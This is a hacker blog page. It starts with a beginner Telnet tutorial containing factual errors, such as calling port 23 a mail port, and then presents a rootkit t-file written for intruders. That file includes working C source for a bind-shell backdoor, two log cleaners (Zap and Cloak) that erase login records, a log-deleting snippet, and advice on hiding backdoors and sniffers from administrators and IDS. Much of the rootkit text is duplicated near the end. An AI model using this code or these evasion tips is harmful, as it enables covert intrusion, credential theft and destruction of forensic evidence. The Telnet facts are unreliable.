::Don't use this for illegal stuff::
Introduction:
Telnet is used to connect to remote machines through emulation. This means that
it can connect to a server, any server instantly because of it's ability to emulate (copy)
remote computers.
Lets Start:
In Windows, Telnet can be found by going to Start -> Run and then typing telnet.
The application should then pop up. If you don't have Windows, there are many Telnet alternatives for mac, linux etc. Since I don't know any,search the internet for Telnet for Linux or Telnet for Mac and you should find something instantly.
If you have a PC and are using Windows 98/95, 2000, Me, or XP continue...
As you can see, Telnet has 4 menu options. These are Connect, Edit, Terminal, and Help.
If you click Connect, you should see more options. Here they are.
Connect:
Remote System..
Disconnect
Exit
Names of servers you have been on.
To connect to a server, click Remote System...
This will then take you to a dialog box that has these fields:
Hostname:
Port:
TermType:
There should also be a Connect button and a Cancel Button.
Lets go over these & what you should put in them.
-Hostname-
The Hostname can be the address of the website your going to be connecting to:
http://www.oreos.com
or it can be the IP address. Keep in mind that you can only connect to servers and not to clients (other PCs)
an IP Address looks like this:
210.111.23.45
-Port-
Port can bb either the port number you wanna connect to on the server (Port 80 is the Internet, Port 23 is Simple Mail Protocol then there are some more ports for different things..)
or you can keep it Telnet and see what happens.
-TermType-
TermType is the type of Terminal telnet will be acting like.
This doesn't matter most of the time, so you can keep it to default or try other ones if you want.
When you have all this set up, you can Click Connect & see what happens.
Note: Sometimes many servers don't like anon people just logging on, so be careful when logging onto servers, because sometimes it might be some big company that likes bullying people or just SOMEONE who likes bullying people and then they might want to find you or trace you or something and I know for a fact you don't need that happening.
Another Note: When you go to a server and type something, such as a login name or a password, you might not see anything even though you are typing. this is a feature that telnet or the other server uses. It's for some kind of safety measure.
Ok that's all for the Connect Menu, lets go over the Terminal menu.
The terminal menu should have 3 options:
Prefernces
Start Logging
Stop Logging.
-Prefernces-
If you go to this, a dialog box will come up with various options. Here, you can change the
text color & background color of the program, and you can enable Local Echo, which shows
you everything you've typed, Blinking cursor if you want the cursor to blink check it, if not uncheck, Block cursor if you want the cursor to be shown as a block, VT100 Arrows, don't worry about these they are useless, Buffer Size, this allows you to set the number of lines of text you want to be shown before the screen starts to scroll, The Terminal emualtion type, always have this set on the default unless you know what the second one is and you know what your doing.
-Start Logging-
This logs everything you do on Telnet in a log file on your computer.
-Stop Logging-
This will stop logging processes.
Well that's it for this tutorial. Thanks for reading.
Written by Justin.
Sunday, April 27, 2008
THE ART OF ROOTKITS
The Art of Rootkits !
This t-filepaper or whatever you want to call it (I'll refer to this phile as a T-file)will help you grasp and understand the concepts of "root kits". I will not bore you with the 'history' of root kits, I will just go straight into it, in an easy to follow manner. This t-file was written for the Beginner & Intermediate computer user and previous knowledge of *nix systems is required to get the most out of this t-file...
1.2 - Foreword
I'll make this section short. The information contained in this t-file was written by me this paper has been in development for the last two weeks. I used two main methods to put together this paper...
• Reading - I spent countless hours reading other peoples papers, ideas, theories etc on root kits, partly so I could start somewhere.
• Practical - I also spent countless hours doing "practical" work so I could write this paper from my own experiences not just based on other people’s experience.
When it came to performing this practical work I used two main *nix distros. Red Hat 9 and OpenBSD, it doesn't matter what distro you decide to use because this is always a personal choice.
It is strongly recommended that before you even attempt to compile or use any of the rootkits mentioned in this paper you know EXACTLY what you are doing and you are running such programs in a controlled environment.
E.g. a controlled environment would be a stand alone PC disconnected from all forms of communication (network, internet, intranet etc)
An un-controlled environment would be a PC connected to the Internet or a network (Your companies network would be a very stupid choice!)
This brings us to the "Disclaimer"...
**********************************************
DISCLAMIER
**********************************************
I am not responsible for [INSERT BIG SPEECH HERE] this information has been written for educational purposes only *coughWHATEVERcough*.
The bottom line is I have told you how to do it, I never said do it!
1.3 - What is a root kit?
You know it's one thing to sit and watch paint dry but you know what else is worse than that?
Reading a file about something you don't even understand... Therefore it's time you learnt what a root kit is (If you already know then feel free to skip this section)
A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than others. Rootkits are basically programs that help attackers keep their position as root. Notice it's called a "rootkit". 'root' meaning the highest level of administration on *nix based systems and 'kit' meaning a collection of tools. Rootkits contain tools which help attackers hide their presence as well as give the attacker full control of the server or host continuously without being noticed.
Rootkits are usually installed on systems when they have been compromised and the highest level of access has been given (usually root) Some rootkits refuse to be installed until the attacker has root access, due to read and write permission to certain files. Once the system has been successfully compromised and the attacker has root, heshe may then install the rootkit, allowing them to cover their tracks and wipe the log files.
A typical rootkit consists of the following utilities (Note: We will look at these in a lot more detail later on)
• Backdoor Programs - login backdoors, telnetd etc
• Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
• Log-Wiping Utilities - Bash the logs to cover tracks
• DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)
• IRCBots - Bots used to take over IRC channels (Lame and annoying)
• Miscellaneous programs - May contain exploit, log editor
(Don't worry to much if you don't understand any of the above, as I said were look at this all in a lot more detail further down)
1.4 - Hacker Jargon Definition
Oh Hail the mighty hacker jargon!
This is what the "Hacker Jargon" says about the word "rootkit"...
"rootkit: /root´kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use. After a cracker has first broken in and gained root access, he or she will install modified binaries such as a modified version login with a backdoor, or a version of ps that will not report the cracker's processes). This is a rootkit."
Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for explaining to me what a rootkit is!
Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to your friends and they will think your really c00l! and 1337!
1.5 - Hackers or the Kidz?
Now the question you are probably asking yourself is "Is a rootkit a hackers tool or just another script kiddie tool?" (Well, you may not be thinking that, maybe I just sux and my psychology skills are as good as yours..) Well, the "Hacker Jargon" defines a rootkit and a script kiddies tool and to some extend heshetheyIT is right (The jargon is always right)
Rootkits don't really require that much skill to run or use. Most rootkits can be compiled like this..
gcc t0rn.c -o rootkit
then...
./rootkit
(Now obviously when compiling all "hacker" tools you need to chose a name which disguises it's purpose, so rootkit would be a really stupid choice)
However there are some rootkits that require more skill to run and use. Some rootkits require you to edit the source code before it's compiled and some even need you to edit the iptables and kernel. (Very advance ones, they used one at the "Black Hat Conference" in 2002)
So, rootkits are used by both hackers and script kiddies. I personally believe that a hacker would have to write his own rootkit to call himself a hacker not just run and use someone else code. (However that’s just my opinion, so don't hold me to that!)
1.6 - Who uses rootkits and why?
I have already really covered this in the previous sections, however for the forgetful types I shall explain again, just to summaries up what we have learnt so far...
Hackers and script kiddies use rootkits, they use them to maintain root and cover their tracks. Script kiddies lack knowledge of *how* a rootkit really works and most often they will end up deleting key binary files. (Basically, script kiddies will let you know when they have compromised your system)
Rootkits are only installed when the system has been compromised and root has been gained.
I don't really want to go into any more detail, because I'll end up just repeating myself. Lets just move on...
1.7 - The Language rootkits are coded in
Hmmm, well this isn't going to be short...
Most rootkits are coded in C or Assembly (Shell code). Most of the well-known rootkits are coded in C so the attacker can edit the source code to fit its target specification. (E.g. The logs files could be stored in a different location)
1.8 - Different types of rootkits
At the current time of writing there are 2 main types of rootkits.
Application rootkits - Established at the application layer
Kernel rootkits - Established at the kernel level (Core of any OS)
When I say "established" this could be referred to of where exactly the rootkit hides. Now lets start of my looking at an application rootkit.
An application rootkit is basically a rootkit which "replaces" all the well know system binary files (ls, netstat, killall) with "fake" or "Trojanned" ones. The trojanned or fake system files will help hide the attackers presence, report false information to the system administrator and even provide a Backdoor for the attacker. To help you understand this more I have provided a list of all the typical system files, which are "replaced" to, help the attacker cover his or her tracks. The list was taken from "Rootkit: Attacker Undercover Tools" by Sailman Manap.
Programs replace to hide attacker presence.
• "ls", "find", "du"
- Trojaned system file will be able to hide attackers file, directory
and stuff that have been brought into the system from being listing.
• "ps", "top", "pidof" -
All these programs are process monitor program. Trojaned
program will hide attacker process from being listing.
• "netstat" -
netstat is used to check network activity such as open port, network
connections establish and listening. Trojaned netstat will hide processes installed by attacker such as ssh daemon or other services.
• "killall" -
Trojaned "killall" will not be able to kill attacker process.
• "ifconfig" -
When sniffer is running PROMISC flag is set to the nic. "ifconfig" is a handy
utility to set and to view setting of ethernet nic. Trojaned "ifconfig" will not
display the PROMISC flag when sniffer is running. This is useful to hide sniffer
from being detected.
• "crontab" -
Trojaned "crontab" will hide the attacker’s crontab entry.
• "tcpd", "syslogd" -
Trojanised "tcpd" and "syslog" will not log any connection made by attacker.
"tcpd" also capable to bypass tcp wrapper enforcement.
Hopefully, that would should have given you a better idea of what an Application is. Remember, this section has only be written so you can distinguish the differences between a "Application" rootkit and "Kernel" rootkit. Lets now take a look at a Kernel rootkit.
A Kernel rootkit is a rootkit that buries itself deep in the Kernel. This makes it extremely hard to detect and remove. Kernel rootkits are more advance then Application rootkits, A Kernel rootkit works by exploiting and manipulating Kernel capabilities. Now I don't really want to go in much more detail on Kernel rootkits because they can get quite advance (Well, they ARE) were talk about them later in this file, it may also help to look at "2.7 - How the kernel works" to get a feel for these Kernel rootkits...
It's now time to move on. In the next section (Section 2) We look at all the elements which make up a rootkit, such as a Backdoor, Sniffer, log basher etc Half way through section 2 we will then look at "Kernel Rootkits" in more detail.
2 - Backdoors
Most of today’s (decent) rootkits contain "Backdoors". Now you should all know what a Backdoor is but just in case you didn't I will quickly give a brief explanation of all.
Backdoor - A program or script which allows an attacker to establish some form of privilege and remote communication without logging into the system. Backdoors are usually installed when the system has been successfully compromised and some form of exploit has been entailed. The advantage of installing a backdoor on a system means that the attacker doesn't have to keep using the same exploit over and over again. The disadvantage of installing a backdoor means at one point or another the system administrator will notice suspicious activity in his network traffic, if he or she were to run a port scanner such as Nmap (Coded by Fyodor http://www.insecure.org) he or she would soon uncover an open port and sooner or later remove the backdoor.
A typical example of a Windows NT2000 backdoor is one entitled "Tini.exe" (Made by NTSecurity) This little program listens on port 7777 for incoming connections, once a connection has been established a remote command shell is executed for the attacker who establishes the connection. (Now as I have mentioned this t-file generally deals with *nix backdoors, so I don't really want to get side stepped talking about windows backdoors, exploits etc I thought I'd just mention tini.exe to give you a general idea of what a Backdoor consists of.
Now lets talk more about *Nix backdoors. *nix backdoors come in *many* shapes and sizes. The paper by Sailman Manap gives yet another long comprehensive list of all the forms backdoors come in...
• Login Backdoor -
Modifying login.c to look for backdoor password before stored password. Attacker
can log into any account using backdoor password.
• Telnetd Backdoor -
Trojaned the "in.telnetd" to allow attacker gain access with backdoor password.
• Services Backdoor - Replacing and manipulate services like "ftp", "rlogin", even
"inetd" as backdoor to gain access.
• Cronjob backdoor - Backdoor could also be added in "crontjob" to run on specific
time for example at 12 midnight to 1 am.
• Library backdoors - Almost every UNIX and Windows system have shared libraries.
Shared libraries can be backdoor to do malicious activity
including giving a root or administrator access.
• Kernel backdoors - This backdoor is basically exploiting the kernel, which is core
of the operating system to handle and to hide backdoor
effectively
• Network traffic backdoors which typically using TCP, UDP, and ICMP - Backdoor that Exploiting network traffic protocol is widely used. In TCP protocol backdoor like ssh is Popularly used because it communicate in encrypt, while crafting and tunneling packet In UDP and ICMP traffic will give a better chances escaping from firewall and "netstat".
All of these and any other forms of *nix backdoors are explained and documented by Christopher Klaus, his paper can be
Reached at http://secinf.net/info/unix/backdoors.txt, I strongly recommend you check it out if you are either really interested in Backdoors or you still haven’t grasped the basic concepts of Backdoors. I have also written a small file on Backdoors entitled "A Crash Course in Backdoors" it is available at http://www.invisibleghosts.net
To finish of this section on backdoors, I feel like adding some source code. (This is a basic TCP Backdoor for *nix if you don't own a copy of linux or unix don't even attempt to compile this
I did not write this, shaun2k2 did, so please give ALL credit for the below source code to him.
Code: C
/* backdoor.c - basic unix tcp backdoor.
*
* This is a basic UNIX TCP backdoor. /bin/sh is binded to the port of your
* choice. Access the shell with telnet or netcat:
*
* root# nc -v hackedhost.com 1337
*
* I do not take responsibility for this code.
*/
#include
#include
#include
#include
#define BACKLOG 5
#define SHELL "/bin/sh"
void usage();
int main(int argc, char *argv[]) {
if(argc <2) {
usage(argv[0]);
}
int sock, csock;
struct sockaddr_in client;
struct sockaddr_in mine;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!n"); exit(-1);
}
mine.sin_family = AF_INET;
mine.sin_port = htons(atoi(argv[1]));
mine.sin_addr.s_addr = INADDR_ANY;
if(bind(sock, (struct sockaddr *)&mine, sizeof(struct sockaddr)) == -1) {
printf("Could not bind socket!n");
exit(-1);
}
if(listen(sock, BACKLOG) == -1) {
printf("Could not listen on socket!n");
exit(-1);
}
printf("Listening for connections on port %s!n", argv[1]);
while(1) {
int sin_size;
sin_size = sizeof(struct sockaddr);
csock = accept(sock, (struct sockaddr *)&client, &sin_size);
dup2(csock, 0);
dup2(csock, 1);
dup2(csock, 2);
execl("/bin/sh","/bin/sh",(char *)0);
close(csock);
}
}
void usage(char *progname[]) {
printf("Usage: %sn", progname);
exit(-1);
}
The main purpose of me showing you this source is to give you a general idea of what a rootkit consists of. Remember rootkits come in many shapes and sizes and every rootkit is most likely to contain some form of Backdoor...
So what else do rootkits contain apart from Backdoors? Lets move on to the next section and look at "Sniffers".
2.1 - Sniffers
A lot of today’s rootkits contain programs known as "Sniffers". What are Sniffers? (Also known as Packet Sniffers)
Basically packet Sniffers are programs that are made to "Monitor" network traffic, TCPIP or any other network device. I'm sure you know when you are browsing the Internet or playing online games "Packets" of data are going to and from your Computer. Attackers install Sniffers so they can capture valuable information which is floating to and from your computer.
What type of valuable information?
Here is a list of what a Sniffer is capable of...
• Sniffing FTP passwords
• Sniffing Telnet passwords
• Sniffing Network passwords
• Sniffing POP3 passwords
• Capturing websites you have visited
• Sniffing Gateways
• Lots more
Some of you may be thinking "Won't my passwords been encrypted as they are passing over my network?" To some extent this is true, some services provide encryption (Such as E-mail if you were using PGP sniffing would be useless, unless of course your a good cryptographer)
Other services such as ftp and telnet transfer their passwords in plain text, so it would be easy for an attacker to just capture the packet then dump it into a text editor (such as "vi", "Pico" or for M$ notepad) it would only take a couple of minutes for an attacker to uncover the plain text password.
Now there is a technical side to Sniffers that I don't really want to go into. For more information on Sniffers please read http://www.sans.org/infosecFAQ/switchednet/sniffers.htm this paper was written by a "Jason Drury" and I have found it most useful. If you are more interested in Windows Sniffers then I can recommend getting a copy of the following....
• Windows Sniffer
• TcpDump
• Password Capture --------> Made especially to sniff passwords
• Sniff
• Ethereal
• EtherPeep
My personal favorite Sniffer for Windows has to be TCPDump it's command line driven so the scripties wouldn't go near it but for those truly interested in the elements of computer hacking I would recommend TCPDump, it will take time getting used to it but its worth it.
Now what about linux sniffers.. Hmmmm I'll be honest with you I haven’t had much experience using linux Sniffers, but I have been told there are some good tutorials on how to make your own Sniffer for *nix on http://www.planetsourcecode.com, however before you even attempt to make your own I strongly recommend you get into socket programming. If you want a read made Sniffer just google for one, a common one is "linsniffer.c"
Anyway back to the main point, most rootkits DO sometimes contain "ready to run" Sniffers and Sniffers are hard to detect once they are running. (Were look at this a little later) The purpose of this section was just to show you WHAT a Sniffer is.. Now you know lets move on
2.2 - Cleaners (Log Bashers)
Ah, we come to something a lot more simpler, Log Bashers (Also known as Log deleters, Log killers and Log Cleaners)
No matter what the title they all do the same thing. Delete system log files. System Administrators rely on logging as an extra form of security. Log files can keep track on who logged in last and at what type, what programs were run as that user was logged in etc etc
Therefore it is exceptionally important for the attacker to destroy ALL traces of log files. Now, some of you may be thinking..
"If all the Log files are deleted won't this give an indication to the system administrator that there box has been hacked?"
If you’re thinking that, then your dead right. Deleting the log files can sometimes be pretty stupid, the best way to get around the log files is to "edit" the entries by deleting your entries and filling in some false ones (Sometimes this requires root access, but if your running a log cleaner of a rootkit you should already have root
Another way around this is to delete the whole log file then to "re-create" them. Here is a VERY simple script I made to demonstrate what I mean...
Code: C
int main()
system("rm-rf /root/logs/LastEntry.log");
touch(" /root/Logs/LastEntry.log");
return 0;
Now for those who don't know any C then I shall I explain. The first main line of the code is telling the C program to remove the file LastEntry.log, delete it. The second line is telling the program to create a file called LastEntry.log in the exact same location.
So when the system administrator opens the log file he will be confronted with a blank file. (This may be a bit stupid because if the admin is security minded he will know the system has been compromised. Some stupid admins see it as a 'Bug' therefore you get away with it.)
Most rootkits contain some form of log-cleaner, but before you execute it you need to make sure you know exactly HOW it works, otherwise your just another script kiddie who "presumes" this tool will cover your tracks completely. Some log cleaners search certain directories for words like "IP" "Login", "Logs", "Log" etc and then delete them. Some just delete all the default log files that are in the default system location. Before you compile a rootkit learn C and take a look at the source code you may find you need to edit some of the entries. It's important you come FULLY prepared before you go out and install your rootkit.
I'll tell you now, I have been in this game long enough to realize even if you successfully editDelete a bunch of log files it doesn't mean you’re untraceable. You still need to think about system programs which are running, which may have their own logging capabilities. Look out for IDS (Intrusion Detection Systems) such as SNORT and look out for programs like Tripwire and any other security programs which monitoranalyze system security.
As more and more people become security minded so do there software and "security awareness" system administrators are getting clever, so be careful!
I'll end this section now with some source for some well known log cleaners, I would strongly recommend not using them though, since they are fairly old. I'm only using them to show you what typical log cleaners are (used to be) like. Just because they are old though doesn't mean they don't work I'm just pretty sure if you Google about you can find MUCH better ones.
This is a very old log cleaner called "Zap" the source code is below..
Code: C
#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!n");
} else
printf("Error.n");
}
Here is another little log cleaner called Cloak v1.0 it wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX. This program is *old* and was written by Wintermute of -Resist-.
Code: C
/* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
/* This file totally wipes all presence of you on a UNIX system*/
/* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
/* is compatible.. This file is for information purposes ONLY!*/
/*--> Begin source... */
#include
#include
#include
#include
#include
main(argc, argv)
int argc;
char *argv[];
{
char *name;
struct utmp u;
struct lastlog l;
int fd;
int i = 0;
int done = 0;
int size;
if (argc != 1) {
if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
printf("You are now cloakedn");
goto start;
}
else {
printf("close successfuln");
exit(0);
}
}
else {
printf("usage: close [file to close]n");
exit(1);
}
start:
name = (char *)(ttyname(0)+5);
size = sizeof(struct utmp);
fd = open("/etc/utmp", O_RDWR);
if (fd < 0)
perror("/etc/utmp");
else {
while ((read(fd, &u, size) == size) && !done) {
if (!strcmp(u.ut_line, name)) {
done = 1;
memset(&u, 0, size);
lseek(fd, -1*size, SEEK_CUR);
write(fd, &u, size);
close(fd);
}
}
}
size = sizeof(struct lastlog);
fd = open("/var/adm/lastlog", O_RDWR);
if (fd < 0)
perror("/var/adm/lastlog");
else {
lseek(fd, size*getuid(), SEEK_SET);
read(fd, &l, size);
l.ll_time = 0;
strncpy(l.ll_line, "ttyq2 ", 5);
gethostname(l.ll_host, 16);
lseek(fd, size*getuid(), SEEK_SET);
close(fd);
}
}
2.3 - Rootkit Extra Utilities
I will try and keep this section short due to there isn't really that much to say. As you should know by now and as I have mentioned rootkits come in all shapes and styles. Some rootkits are well known for their advance log cleaner, others for there advance Backdoor and others for there adavnce, stealth hard to remove installation procedure.
There are some rootkits which are well known for being SAR (Swiss Army Rootkits) basically, they are rootkits with average features plus a whole load of extra utilities such as Bots, DdoS, Extra scripts, Password crackers, Killer scripts etc
Rootkits that contain scripts that cause DDoS attacks are considered dangerous, if an attacker were to exploit 100's of servers and install such a rootkit those servers would then become "Zombies" they could launch DDoS attacks (SYN, PING, FINGER, UDP, TCP) against chosen targets. Rootkits are continuously being made more advance and extra utilities are being added on each time. In the future I personal predict that rootkits will be a major threat to national security.......
That’s really all I have to say for this section. Lets move on.
2.4 - Kernel Rootkits (More Detail)
We have already briefly looked at "Kernel Rootkits" but we haven’t really looked at them in close detail. In this section I plan to analyze and expose the basics of a kernel rootkit. If your not to sure on what the "Kernel" is I recommend you skip this section and move onto the next section (2.5) then come back to this section when you feel that you are ready.
The best way to start of this section is talk about how Kernel rootkits actually work. Kernel rootkits work, basically by exploiting LKM. (Loadable Kernel Modules)LKM are used to load device drivers on a "as-needed" bases. LKM are usually only exploited so the attacker can perform malicious activity.
Kernel rootkits are way more dangerous than Application rootkits because instead of just replacing the basic binaries like "ls" and "netstat" they attack the kernel directly and manipulate system-calls like open() and read(). As we know application rootkits replace binaries, if the administrator was clever and analyzed the actual binaries which had been replaced they will realize the differences in size (e.g. the program could contain an extra 128 bytes) However, this wouldn't be possible with Kernel rootkits because instead of actually changing the size and structure of the program, they just change the way the program operates. For example programs like "ps" use an open system call "open()" and reads information from files in the directory /proc, where also the information about running processes is kept.
For more information on rootkits and to mess about with typical examples of each rootkit type...
Considering obtaining a copy of..
Application rootkit - t0rn Kernel rootkit - Adore (Also known as LKM-Adore)
2.5 - How the Kernel Works
This will be a very basic and very short section and is only here to help those understand how the Kernel works.
What is a Kernel? In English and using non-technical jargon a Kernel is basically the "Core" of the OS (Linux, Unix, Windows). Without the Kernel an Operating System could not load.
The Kernel is one of the first things which load in a OS and it remains in the main memory. Since it's staying in the main memory its *very* important for the Kernel to be as small as possible, but at the same time be able to provide all the essential programs, services, devices, applications and drivers for the OS.
Typically, the kernel is responsible for I/O(Input and Output) management, Device drivers, CPU management, process and task management, and disk management.
The kernel looks something like this....
Code:
_ _ _ _ _ _ _ _ _
|Applications and | - LKM - System Calls
|_Programs_ _ _ _ |
*******************
* MAIN KERNEL * - Consists of: Memory Management
* * IO Management
******************* CPU Management
| Hardware | Device Drivers
|_ _ _ _ _ _ _ _ _ |
Understand?
Quite simple really...
2.6 - Analyzing an Application Rootkit "T0rnkit"
This is a professional analysis of the rootkit "T0rn" this was taken of off Mcaffe's main site.
"T0rnkit attempts to hide its presence when installed. During installation it first shuts down the system-logging daemon, syslogd. It then replaces several other system executables with trojanized versions and adds a trojanized ssh daemon to the system as well. Programs that are replaced are, among others; du, find, ifconfig, login, ls, netstat, ps, sz and top. If the system administrator uses these somewhat vital functions they report normal looking information, but the processes and network connections that the hacker uses aren't shown. Finally T0rnkit starts a Sniffer in background, enables telnetd, rsh and finger daemons in "/etc/inetd.conf", restarts inetd to activate changes made and starts syslogd again. This all without the system administrator knowing about it.
Noteworthy is that all new programs in the t0rnkit all have the exact size of 31.336 bytes. T0rnkit usually can be found in the directory /usr/src/.puta, but of course not if it already has been activated because the command 'ls' will have been replaced. With the standard installation of t0rnkit TCP port 47017 is open for root access to the system. A modified version of this rootkit was also distributed by a variant of Unix/Lion worm.
A system administrator that is a little bit into the security world can find a with t0rnkit infected system pretty fast because of the change in file sizes and a simple port scan will reveal the open port, but funny enough most people don't have this 'expertise' "
2.7 - A variety of hiding methods
To finish off section two, I will give you some tips that I have found to be useful when hiding certain features of a rootkit e.g. Backdoor, Sniffer etc)
Lets start by reviewing ways to successfully hide the actual rootkit...
To start off with, it would be a good idea to hide the compiled rootkit in a hidden directory. I would recommend creating a directory you suspect the administrator will not go near. For example try hiding it in a folder situated in /var/something/something/something make it as long as possible and rename the file using the "mv" command to something the admin will not suspect is a "suspicious" file (e.g. Kernel-023, pso, ls2 etc)
Now when running the sniffer make sure you add the character "&" behind of it, like this "lnsniffer&", the "&" tells the system to continue running the program even when the user is logged out. However, this does provoke a slightly higher risk. If you leave the Sniffer running all day and the sysadmin logs in he may notice something is up if he was to execute the "ps" command. Sniffers are great programs for getting passwords, if a TCP Sniffer was installed on a regular Ethernet connection you could capture a good 50 odd passwords!
The downside to Sniffers are they may need to be modified slightly before you can run them, also some IDS programs can detect changes made to the Ethernet card (e.g. When the card is switched into promiscuous mode the IDS will know and alert the admin)
Now if your running a "Kernel rootkit" its quite easy to hide the Sniffer, because if the kernel rootkit is any good it should allow the Sniffer to hide the promiscuous flag of the network interface. The system call to Trojan in this case is sys_ioctl() (You don't really need to know that, unless your planning on writing your own kernel rootkit)
"Hiding network connections" is another technique you may wish to use. To sucessfully hide network connections it can be done by preventing the system logging the activities inside “/proc/net/tcp” and “/proc/net/udp”. The idea for a kernel rootkit is to trojan the sys_read() command. Whenever reading these two files and a line matching a unique string, the system call will hide it from user.
The above techniques can then be brought together to successfully hide a backdoor. Most backdoors you install will listen on a certain port, this informartion is then logged into /proc/net/tcp and /proc/net.udp, you would need to manipulate the sys_read() system call to sucessfully hide the backdoor.
Now it's important that you know using rootkits could be a very easy way to get busted. There have been times when I have just gone into a system with a custom made log cleaner and nothing else. System administrators are getting quite clever and with the rapid growth of advance programs like "Promiscuous Detectors" and "Chkrootkit" it's easy for the attacker to slip up and get busted. Kernel rootkits are the best type of rootkits to use when penetrating through a system but they are also the most complex and will require patience and understanding before they can be put to any real use.
Before you just go out and install a bunch of rootkits on your "rooted boxes" I would strongly recommend experimenting with them on your own box, so you learn EXACTLY what they are doing. If you haven’t got a box to practice on I recommend you download and install a copy of VMWare, NEVER take risks! There is more to life than computers, don't mess your whole life up with some stupid childish mistake!
This t-filepaper or whatever you want to call it (I'll refer to this phile as a T-file)will help you grasp and understand the concepts of "root kits". I will not bore you with the 'history' of root kits, I will just go straight into it, in an easy to follow manner. This t-file was written for the Beginner & Intermediate computer user and previous knowledge of *nix systems is required to get the most out of this t-file...
1.2 - Foreword
I'll make this section short. The information contained in this t-file was written by me this paper has been in development for the last two weeks. I used two main methods to put together this paper...
• Reading - I spent countless hours reading other peoples papers, ideas, theories etc on root kits, partly so I could start somewhere.
• Practical - I also spent countless hours doing "practical" work so I could write this paper from my own experiences not just based on other people’s experience.
When it came to performing this practical work I used two main *nix distros. Red Hat 9 and OpenBSD, it doesn't matter what distro you decide to use because this is always a personal choice.
It is strongly recommended that before you even attempt to compile or use any of the rootkits mentioned in this paper you know EXACTLY what you are doing and you are running such programs in a controlled environment.
E.g. a controlled environment would be a stand alone PC disconnected from all forms of communication (network, internet, intranet etc)
An un-controlled environment would be a PC connected to the Internet or a network (Your companies network would be a very stupid choice!)
This brings us to the "Disclaimer"...
**********************************************
DISCLAMIER
**********************************************
I am not responsible for [INSERT BIG SPEECH HERE] this information has been written for educational purposes only *coughWHATEVERcough*.
The bottom line is I have told you how to do it, I never said do it!
1.3 - What is a root kit?
You know it's one thing to sit and watch paint dry but you know what else is worse than that?
Reading a file about something you don't even understand... Therefore it's time you learnt what a root kit is (If you already know then feel free to skip this section)
A rootkit is a program. Rootkits come in all different shapes and styles, some more advance than others. Rootkits are basically programs that help attackers keep their position as root. Notice it's called a "rootkit". 'root' meaning the highest level of administration on *nix based systems and 'kit' meaning a collection of tools. Rootkits contain tools which help attackers hide their presence as well as give the attacker full control of the server or host continuously without being noticed.
Rootkits are usually installed on systems when they have been compromised and the highest level of access has been given (usually root) Some rootkits refuse to be installed until the attacker has root access, due to read and write permission to certain files. Once the system has been successfully compromised and the attacker has root, heshe may then install the rootkit, allowing them to cover their tracks and wipe the log files.
A typical rootkit consists of the following utilities (Note: We will look at these in a lot more detail later on)
• Backdoor Programs - login backdoors, telnetd etc
• Packet Sniffers - Sniff network traffic such as FTP, TELNET,POP3
• Log-Wiping Utilities - Bash the logs to cover tracks
• DDoS Programs - Turn the box into a DDoS client (Remember trinoo?)
• IRCBots - Bots used to take over IRC channels (Lame and annoying)
• Miscellaneous programs - May contain exploit, log editor
(Don't worry to much if you don't understand any of the above, as I said were look at this all in a lot more detail further down)
1.4 - Hacker Jargon Definition
Oh Hail the mighty hacker jargon!
This is what the "Hacker Jargon" says about the word "rootkit"...
"rootkit: /root´kit/, n.
[very common] A kit for maintaining root; an automated cracking tool. What script kiddies use. After a cracker has first broken in and gained root access, he or she will install modified binaries such as a modified version login with a backdoor, or a version of ps that will not report the cracker's processes). This is a rootkit."
Wow! that's amazing! We worship you hacker jargon! Thank you ever so much for explaining to me what a rootkit is!
Remember kidz, all you have to do is read out some cool urban HaX@r words out the jargon to your friends and they will think your really c00l! and 1337!
1.5 - Hackers or the Kidz?
Now the question you are probably asking yourself is "Is a rootkit a hackers tool or just another script kiddie tool?" (Well, you may not be thinking that, maybe I just sux and my psychology skills are as good as yours..) Well, the "Hacker Jargon" defines a rootkit and a script kiddies tool and to some extend heshetheyIT is right (The jargon is always right)
Rootkits don't really require that much skill to run or use. Most rootkits can be compiled like this..
gcc t0rn.c -o rootkit
then...
./rootkit
(Now obviously when compiling all "hacker" tools you need to chose a name which disguises it's purpose, so rootkit would be a really stupid choice)
